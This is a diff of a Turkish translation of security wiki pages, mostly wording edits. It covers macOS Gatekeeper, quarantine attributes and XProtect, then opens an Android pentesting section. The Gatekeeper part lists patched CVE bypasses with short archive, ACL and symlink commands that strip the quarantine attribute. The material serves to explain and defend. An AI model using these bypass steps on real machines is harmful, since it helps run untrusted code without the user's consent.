**Kernel uzantıları** ile ilgili olarak, `/var/db/SystemPolicyConfiguration` klasörü, yüklenmesine izin verilen kext'lerin listelerini içeren dosyalar barındırır. Ayrıca, `spctl`, yeni ön onaylı kernel uzantıları ekleyebilme yeteneğine sahip olduğu için `com.apple.private.iokit.nvram-csr` yetkisine sahiptir; bu uzantıların ayrıca NVRAM'de `kext-allowed-teams` anahtarında saklanması gerekir.
|
||||
Kernel uzantılarıyla ilgili olarak, `/var/db/SystemPolicyConfiguration` klasörü, yüklenmesine izin verilen kext'lerin listelerini içeren dosyalar barındırır. Ayrıca, `spctl`, yeni ön onaylı kernel uzantıları ekleyebilme yeteneğine sahip olduğu için `com.apple.private.iokit.nvram-csr` yetkisine sahiptir; bu uzantıların ayrıca NVRAM'de `kext-allowed-teams` anahtarında saklanması gerekir.
|
||||
|
||||
#### macOS 15 (Sequoia) ve sonrası için Gatekeeper Yönetimi
|
||||
|
||||
macOS 15 Sequoia'dan itibaren, son kullanıcılar artık `spctl` üzerinden Gatekeeper politikasını değiştiremez. Yönetim, Sistem Ayarları aracılığıyla veya `com.apple.systempolicy.control` yükü ile bir MDM yapılandırma profili dağıtarak gerçekleştirilir. App Store ve tanımlı geliştiricilere (ancak "Her Yerde" değil) izin vermek için örnek profil kesiti:
|
||||
macOS 15 Sequoia'dan itibaren, son kullanıcılar artık `spctl` üzerinden Gatekeeper politikasını değiştiremiyor. Yönetim, Sistem Ayarları aracılığıyla veya `com.apple.systempolicy.control` yükü ile bir MDM yapılandırma profili dağıtarak gerçekleştirilir. App Store ve tanımlı geliştiricilere (ancak "Her Yerde" değil) izin vermek için örnek profil kesiti:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -181,22 +181,22 @@ macOS 15 Sequoia'dan itibaren, son kullanıcılar artık `spctl` üzerinden Gate
|
||||
```
|
||||
### Karantina Dosyaları
|
||||
|
||||
Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyanın güvenilmeyen bir kaynaktan (internet) geldiğini ve potansiyel olarak risk taşıdığını **belirlemek için** bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
|
||||
Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı için **işaretlemek** amacıyla bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
|
||||
|
||||
**Bir karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğine sinyal verir**.
|
||||
|
||||
**Karantina bayrağı mevcut değilse** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri yapılmayabilir**. Bu nedenle, kullanıcıların daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmaları gerekir.
|
||||
|
||||
> [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verilmesinden sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında bir **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerle, her uygulama başlatıldığında tam bir kod imzası ve notlandırma kontrolü **pratik değildir**.
|
||||
> [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verilmesinden sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında bir **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerle, tam bir kod imzası ve notarlık kontrolü, bir uygulama her başlatıldığında **çalıştırılması pratik değildir**.
|
||||
>
|
||||
> Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar çalıştırıldığında** yapılır.
|
||||
> Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar çalıştırıldığında yapılır.**
|
||||
|
||||
> [!WARNING]
|
||||
> Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır**.
|
||||
>
|
||||
> Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği ayarlayacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **LSFileQuarantineEnabled** anahtarını **Info.plist** dosyasında belirtebilirler.
|
||||
> Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **LSFileQuarantineEnabled** anahtarını **Info.plist** dosyasında belirtebilirler.
|
||||
|
||||
Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen bir dosya yoluna karantina niteliğini ekler.
|
||||
Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen dosya yoluna karantina niteliğini ekler.
|
||||
|
||||
Durumunu **kontrol etmek ve etkinleştirmek/devre dışı bırakmak** (root gereklidir) mümkündür:
|
||||
```bash
|
||||
@ -305,7 +305,7 @@ Ve tüm karantinaya alınmış dosyaları bulmak için:
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
Quarantine bilgileri, GUI'nin dosya kökenleri hakkında veri almasını sağlayan **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** dosyasında LaunchServices tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir.
|
||||
Quarantine bilgileri, dosya kökenleri hakkında veri elde etmek için GUI'nin erişim sağladığı **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** dosyasında LaunchServices tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir.
|
||||
|
||||
#### **libquarantine.dylib**
|
||||
|
||||
@ -315,9 +315,9 @@ Bu kütüphane, genişletilmiş nitelik alanlarını manipüle etmeye olanak tan
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu uzantının sembolik versiyonunu içerecektir.
|
||||
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu da uzantının sembolik versiyonunu içerecektir.
|
||||
|
||||
Bu Kext, tüm dosya yaşam döngüsü olaylarını yakalamak için MACF aracılığıyla birkaç çağrıyı bağlayacaktır: Oluşturma, açma, yeniden adlandırma, sert bağlantı oluşturma... hatta `setxattr`'ı `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını önlemek için kullanır.
|
||||
Bu Kext, tüm dosya yaşam döngüsü olaylarını yakalamak için MACF aracılığıyla birkaç çağrıyı bağlayacaktır: Oluşturma, açma, yeniden adlandırma, sert bağlantı oluşturma... hatta `setxattr`'ı kullanarak `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını engellemek için.
|
||||
|
||||
Ayrıca birkaç MIB kullanır:
|
||||
|
||||
@ -328,8 +328,8 @@ Ayrıca birkaç MIB kullanır:
|
||||
|
||||
macOS 13 Ventura, karantinaya alınmış bir uygulamanın çalışmasına izin verildiğinde doldurulan ayrı bir köken mekanizması tanıttı. İki artefakt oluşturulur:
|
||||
|
||||
- `.app` paket dizinindeki `com.apple.provenance` xattr (birincil anahtar ve bayraklar içeren sabit boyutlu ikili değer).
|
||||
- Uygulamanın cdhash'ini ve meta verilerini depolayan `/var/db/SystemPolicyConfiguration/ExecPolicy/` içindeki ExecPolicy veritabanında bir `provenance_tracking` tablosunda bir satır.
|
||||
- `.app` paket dizininde `com.apple.provenance` xattr (birincil anahtar ve bayraklar içeren sabit boyutlu ikili değer).
|
||||
- Uygulamanın cdhash'ini ve meta verilerini depolayan `/var/db/SystemPolicyConfiguration/ExecPolicy/` içindeki ExecPolicy veritabanında `provenance_tracking` tablosunda bir satır.
|
||||
|
||||
Pratik kullanım:
|
||||
```bash
|
||||
@ -344,24 +344,24 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
```
|
||||
### XProtect
|
||||
|
||||
XProtect, macOS'ta yerleşik bir **kötü amaçlı yazılım** önleme özelliğidir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla karşılaştırır**. Safari, Mail veya Messages gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya, veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır.
|
||||
XProtect, macOS'ta yerleşik bir **anti-malware** özelliğidir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla karşılaştırır**. Safari, Mail veya Messages gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır.
|
||||
|
||||
XProtect veritabanı, Apple tarafından **düzenli olarak** yeni kötü amaçlı yazılım tanımlarıyla güncellenir ve bu güncellemeler otomatik olarak Mac'inize indirilip yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olmasını sağlar.
|
||||
|
||||
Ancak, **XProtect'in tam özellikli bir antivirüs çözümü olmadığını** belirtmekte fayda var. Sadece bilinen tehditlerin belirli bir listesini kontrol eder ve çoğu antivirüs yazılımı gibi erişim taraması yapmaz.
|
||||
|
||||
En son XProtect güncellemesi hakkında bilgi alabilirsiniz:
|
||||
En son XProtect güncellemesi hakkında bilgi almak için:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda bulunan SIP korumalı bir alandadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
|
||||
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda SIP korumalı bir alanda bulunmaktadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhashes ile kodların eski yetkilendirmeleri kullanmasına izin verir.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve uzantıların listesidir veya minimum bir sürüm belirtir.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve uzantıların listesi veya minimum bir sürüm belirtir.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Kötü amaçlı yazılımları tespit etmek için Yara kuralları.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin hash'lerini içeren SQLite3 veritabanı.
|
||||
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`** konumunda, Gatekeeper süreciyle ilgili olmayan başka bir XProtect uygulaması olduğunu unutmayın.
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`** konumunda, Gatekeeper süreciyle ilgili olmayan XProtect ile ilişkili başka bir Uygulama olduğunu unutmayın.
|
||||
|
||||
> XProtect Remediator: Modern macOS'ta, Apple, kötü amaçlı yazılım ailelerini tespit etmek ve düzeltmek için periyodik olarak launchd aracılığıyla çalışan talep üzerine tarayıcılar (XProtect Remediator) gönderir. Bu taramaları birleşik günlüklerde gözlemleyebilirsiniz:
|
||||
>
|
||||
@ -374,25 +374,25 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun
|
||||
> [!CAUTION]
|
||||
> Gatekeeper'in her seferinde bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından daha önce çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını** **doğrular.**
|
||||
|
||||
Bu nedenle, daha önce bir uygulamayı Gatekeeper ile önbelleğe almak için çalıştırmak mümkündü, ardından **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılırdı.**
|
||||
Bu nedenle, daha önce bir uygulamayı Gatekeeper ile önbelleğe almak için çalıştırmak mümkünken, ardından **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılıyordu.**
|
||||
|
||||
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama paketleri içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra paketi değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
|
||||
|
||||
## Gatekeeper Bypass'leri
|
||||
|
||||
Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren bazı tekniklere atanan CVE'ler şunlardır:
|
||||
Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren tekniklere atanan bazı CVE'ler şunlardır:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
**Archive Utility** kullanılarak çıkarma yapıldığında, **886 karakteri aşan yollar** olan dosyaların com.apple.quarantine genişletilmiş niteliğini almadığı gözlemlenmiştir. Bu durum, bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **aşmasına** neden olmaktadır.
|
||||
**Archive Utility** kullanılarak çıkarma yapıldığında, **886 karakteri aşan yollar** ile dosyaların com.apple.quarantine genişletilmiş niteliğini almadığı gözlemlenmiştir. Bu durum, bu dosyaların **Gatekeeper'ın** güvenlik kontrollerini **aşmasına** neden olmaktadır.
|
||||
|
||||
Daha fazla bilgi için [**orijinal raporu**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) kontrol edin.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için gereken bilgiler `application.app/Contents/document.wflow` içinde bulunur, yürütülebilir dosyada değil. Yürütülebilir dosya, sadece **Automator Application Stub** adı verilen genel bir Automator ikili dosyasıdır.
|
||||
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için ihtiyaç duyduğu bilgiler `application.app/Contents/document.wflow` içinde bulunur, yürütülebilir dosyada değil. Yürütülebilir dosya, sadece **Automator Uygulama Stub** adı verilen genel bir Automator ikili dosyasıdır.
|
||||
|
||||
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Application Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` içindekileri (sizin script'iniz) **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek yürütülebilir dosya karantina xattr'ına sahip değildir.
|
||||
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Uygulama Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` içindekileri (sizin script'iniz) **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek yürütülebilir dosya karantina xattr'ına sahip değildir.
|
||||
|
||||
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
@ -400,7 +400,7 @@ Daha fazla bilgi için [**orijinal raporu**](https://ronmasas.com/posts/bypass-m
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
Bu bypass'ta, `application.app/Contents`'den başlayarak bir uygulama ile sıkıştırma yapan bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye uygulanmadı, bu da Gatekeeper'ın kontrol ettiği yerdi, bu yüzden Gatekeeper, `application.app` tetiklendiğinde **karantina niteliğine sahip olmadığı için** atlatıldı.
|
||||
Bu bypass'ta, `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama ile bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye uygulanmadı, bu da Gatekeeper'ın kontrol ettiği yerdi, bu yüzden `application.app` tetiklendiğinde **karantina niteliğine sahip değildi.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -408,7 +408,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Bileşenler farklı olsa da, bu güvenlik açığının istismarı öncekiyle çok benzer. Bu durumda, **`application.app/Contents`**'dan bir Apple Archive oluşturacağız, böylece **`application.app`** **Archive Utility** tarafından açıldığında karantina özelliğini almayacak.
|
||||
Bileşenler farklı olsa da, bu güvenlik açığının istismarı öncekiyle çok benzer. Bu durumda, **`application.app/Contents`**'den bir Apple Arşivi oluşturulacak, böylece **`application.app`** **Archive Utility** tarafından sıkıştırıldığında karantina özelliğini almayacak.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
@ -425,7 +425,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
Ayrıca, **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
|
||||
|
||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) **`com.apple.acl.text`** adlı xattr içinde saklanan ACL metin temsilinin, sıkıştırılmamış dosyada ACL olarak ayarlanacağını görebilirsiniz. Yani, bir uygulamayı, diğer xattr'ların yazılmasını engelleyen bir ACL ile **AppleDouble** dosya formatında bir zip dosyasına sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
|
||||
[**kaynak kodda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) görülebilir ki, xattr içinde saklanan ACL metin temsili **`com.apple.acl.text`** olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL ile birlikte **AppleDouble** dosya formatında bir zip dosyasına sıkıştırdıysanız ve bu ACL diğer xattr'ların yazılmasını engelliyorsa... karantina xattr'ı uygulamaya ayarlanmamıştır:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -443,7 +443,7 @@ aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
**Google Chrome'un indirilen dosyalar için karantina niteliğini ayarlamadığı** keşfedildi, bu bazı macOS iç sorunlarından kaynaklanıyordu.
|
||||
**Google Chrome'un indirilen dosyalar için karantina niteliğini ayarlamadığı** bazı macOS iç sorunları nedeniyle keşfedildi.
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
@ -457,7 +457,7 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
Bir dosya oluşturabilmek, karantina niteliği ayarlanmamış, **Gatekeeper'ı atlatmak mümkündü.** Hile, **AppleDouble adlandırma kuralını** kullanarak bir DMG dosyası uygulaması **oluşturmak** ve karantina niteliği olmayan bu gizli dosyaya **görünür bir dosya olarak sembolik bir bağlantı** oluşturmaktı.\
|
||||
Bir dosya oluşturabilmek, karantina niteliği ayarlanmamış, **Gatekeeper'ı atlatmak mümkün oldu.** Hile, **AppleDouble adlandırma kuralını** kullanarak bir DMG dosyası uygulaması **oluşturmak** ve karantina niteliği olmayan bu gizli dosyaya **görünür bir dosya olarak sembolik bağlantı** oluşturmaktı.\
|
||||
**Dmg dosyası çalıştırıldığında**, karantina niteliği olmadığı için **Gatekeeper'ı atlatacaktır.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
@ -476,7 +476,7 @@ aa archive -d s/ -o app.aar
|
||||
```
|
||||
### [CVE-2023-41067]
|
||||
|
||||
macOS Sonoma 14.0'da düzeltildiği bildirilen bir Gatekeeper atlatması, tasarlanmış uygulamaların onay istemeden çalışmasına izin verdi. Detaylar, yamanmadan sonra kamuya açıklandı ve sorun düzeltmeden önce aktif olarak istismar edildi. Sonoma 14.0 veya daha yenisinin yüklü olduğundan emin olun.
|
||||
macOS Sonoma 14.0'da düzeltildiği bildirilen bir Gatekeeper atlatması, tasarlanmış uygulamaların onay istemeden çalışmasına izin verdi. Detaylar, yamanmadan sonra kamuya açıklandı ve sorun, düzeltmeden önce aktif olarak istismar edildi. Sonoma 14.0 veya daha yenisinin yüklü olduğundan emin olun.
|
||||
|
||||
### [CVE-2024-27853]
|
||||
|
||||
@ -484,7 +484,7 @@ macOS 14.4'te (Mart 2024'te yayımlandı) `libarchive`'ın kötü niyetli ZIP'le
|
||||
|
||||
### Üçüncü taraf arşiv açıcıların karantina yayılımını yanlış yapması (2023–2024)
|
||||
|
||||
Popüler çıkarım araçlarındaki (örneğin, The Unarchiver) birkaç güvenlik açığı, arşivlerden çıkarılan dosyaların `com.apple.quarantine` xattr'ını atlamasına neden oldu ve Gatekeeper atlatma fırsatları sağladı. Test yaparken her zaman macOS Archive Utility veya yamanmış araçlara güvenin ve çıkarım sonrası xattr'ları doğrulayın.
|
||||
Popüler çıkarım araçlarındaki (örneğin, The Unarchiver) birkaç güvenlik açığı, arşivlerden çıkarılan dosyaların `com.apple.quarantine` xattr'ını atlamasına neden oldu ve bu da Gatekeeper atlatma fırsatlarını sağladı. Test yaparken her zaman macOS Archive Utility veya yamanmış araçlara güvenin ve çıkarım sonrası xattr'ları doğrulayın.
|
||||
|
||||
### uchg (bu [konuşmadan](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
|
@ -13,14 +13,14 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Bu, bir android cihazına (emüle edilmiş veya fiziksel) bağlanmak için ihtiyaç duyduğunuz ana araçtır.\
|
||||
**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanmasını**, uygulamaların **yüklenmesini** ve **kaldırılmasını**, shell komutlarının **çalıştırılmasını**, verilerin **yedeklenmesini**, günlüklerin **okunmasını** ve diğer işlevleri sağlar.
|
||||
**ADB**, bir bilgisayardan **USB** veya **Ağ** üzerinden cihazları kontrol etmenizi sağlar. Bu yardımcı program, dosyaların her iki yönde **kopyalanması**, uygulamaların **yüklenmesi** ve **kaldırılması**, kabuk komutlarının **çalıştırılması**, verilerin **yedeklenmesi**, günlüklerin **okunması** gibi işlevleri yerine getirir.
|
||||
|
||||
ADB'yi nasıl kullanacağınızı öğrenmek için aşağıdaki [**ADB Komutları**](adb-commands.md) listesine göz atın.
|
||||
|
||||
## Smali
|
||||
|
||||
Bazen **gizli bilgilere** erişmek için **uygulama kodunu değiştirmek** ilginç olabilir (belki iyi obfuscate edilmiş şifreler veya bayraklar). Bu durumda, apk'yı decompile etmek, kodu değiştirmek ve yeniden derlemek ilginç olabilir.\
|
||||
[**Bu eğitimde** APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
[**Bu eğitimde** bir APK'yı nasıl decompile edeceğinizi, Smali kodunu nasıl değiştireceğinizi ve APK'yı yeni işlevsellik ile nasıl yeniden derleyeceğinizi **öğrenebilirsiniz**](smali-changes.md). Bu, sunulacak dinamik analiz sırasında birkaç test için **alternatif olarak** çok faydalı olabilir. Bu nedenle, **her zaman bu olasılığı aklınızda bulundurun**.
|
||||
|
||||
## Diğer ilginç hileler
|
||||
|
||||
@ -73,19 +73,19 @@ APK'nın **string'lerine** bakarak **şifreler**, **URL'ler** ([https://github.c
|
||||
|
||||
### Uygulamanın Temel Anlayışı - Manifest.xml, strings.xml
|
||||
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp açılarak erişilebilir.
|
||||
Bir uygulamanın _Manifest.xml_ ve **_strings.xml_** dosyalarının **incelenmesi potansiyel güvenlik açıklarını ortaya çıkarabilir**. Bu dosyalar dekompilerler kullanılarak veya APK dosya uzantısı .zip olarak yeniden adlandırılıp ardından açılarak erişilebilir.
|
||||
|
||||
**Manifest.xml** dosyasından tespit edilen **güvenlik açıkları** şunlardır:
|
||||
|
||||
- **Hata Ayıklanabilir Uygulamalar**: _Manifest.xml_ dosyasında hata ayıklanabilir (`debuggable="true"`) olarak ayarlanan uygulamalar, istismara yol açabilecek bağlantılara izin verdiği için risk taşır. Hata ayıklanabilir uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda hata ayıklanabilir uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Debuggable Uygulamalar**: _Manifest.xml_ dosyasında debuggable olarak ayarlanmış (`debuggable="true"`) uygulamalar, bağlantılara izin vererek istismar riskini artırır. Debuggable uygulamaları nasıl istismar edeceğinizi anlamak için bir cihazda debuggable uygulamaları bulma ve istismar etme üzerine bir eğitime başvurun.
|
||||
- **Yedekleme Ayarları**: Hassas bilgilerle ilgilenen uygulamalar için `android:allowBackup="false"` niteliği açıkça ayarlanmalıdır, böylece adb üzerinden yetkisiz veri yedeklemeleri önlenir, özellikle usb hata ayıklama etkinleştirildiğinde.
|
||||
- **Ağ Güvenliği**: _res/xml/_ içindeki özel ağ güvenliği yapılandırmaları (`android:networkSecurityConfig="@xml/network_security_config"`) sertifika pinleri ve HTTP trafiği ayarları gibi güvenlik detaylarını belirtebilir. Örneğin, belirli alanlar için HTTP trafiğine izin vermek.
|
||||
